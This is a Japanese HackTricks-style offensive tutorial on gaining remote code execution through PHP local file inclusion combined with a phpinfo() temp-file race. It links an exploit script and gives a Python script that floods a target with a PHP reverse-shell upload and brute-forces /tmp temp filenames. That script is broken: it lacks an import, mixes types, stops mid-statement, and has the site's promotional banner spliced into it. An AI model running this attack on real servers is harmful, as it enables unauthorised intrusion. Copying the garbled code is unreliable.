ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricks をサポートする他の方法: * **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。 * **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出してください。
この脆弱性を悪用するには、**LFI脆弱性、phpinfo() が表示されるページ、"file\_uploads = on"、およびサーバーが"/tmp"ディレクトリに書き込める必要があります。** [https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) **Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s) この脆弱性を修正する必要があります(**=>** を **=>** に変更)。修正するには、以下を実行できます: ``` sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py ``` ### 理論 PHPでアップロードが許可されており、ファイルをアップロードしようとすると、このファイルはサーバーがリクエストの処理を完了するまで一時ディレクトリに保存され、その後一時ファイルは削除されます。 その後、WebサーバーでLFI脆弱性を見つけた場合、作成された一時ファイルの名前を推測して、サーバーがファイルを削除する前に一時ファイルにアクセスしてRCEを悪用することができます。 **Windows**では、ファイルは通常**C:\Windows\temp\php**に保存されます。 **Linux**では、ファイルの名前は通常**ランダム**であり、**/tmp**にあります。名前がランダムであるため、**一時ファイルの名前をどこかから抽出**し、削除される前にアクセスする必要があります。これは、関数**"phpconfig()"**のコンテンツ内の**変数$\_FILES**の値を読み取ることで行うことができます。 **phpinfo()** **PHP**は**4096B**のバッファを使用し、バッファが**いっぱいになるとクライアントに送信**されます。その後、クライアントは**大きなヘッダーを使用して多くの大きなリクエストを送信**し、**php**リバース**シェルをアップロード**し、**phpinfo()の最初の部分が返されるのを待ちます**(ここに一時ファイルの名前が表示されます)、そしてLFI脆弱性を悪用してファイルが削除される前に**一時ファイルにアクセス**しようとします。 **長さが6の場合に名前をブルートフォースしようとするPythonスクリプト** ```python import itertools import requests import sys print('[+] Trying to win the race') f = {'file': open('shell.php', 'rb')} for _ in range(4096 * 4096): requests.post('http://target.com/index.php?c=index.php', f) print('[+] Bruteforcing the inclusion') for fname in itertools.combinations(string.ascii_letters + string.digits, 6): url = 'http://target.com/index.php?c=/tmp/php' + fname r = requests.get(url) if 'load average' in r.text: # ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。 * **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。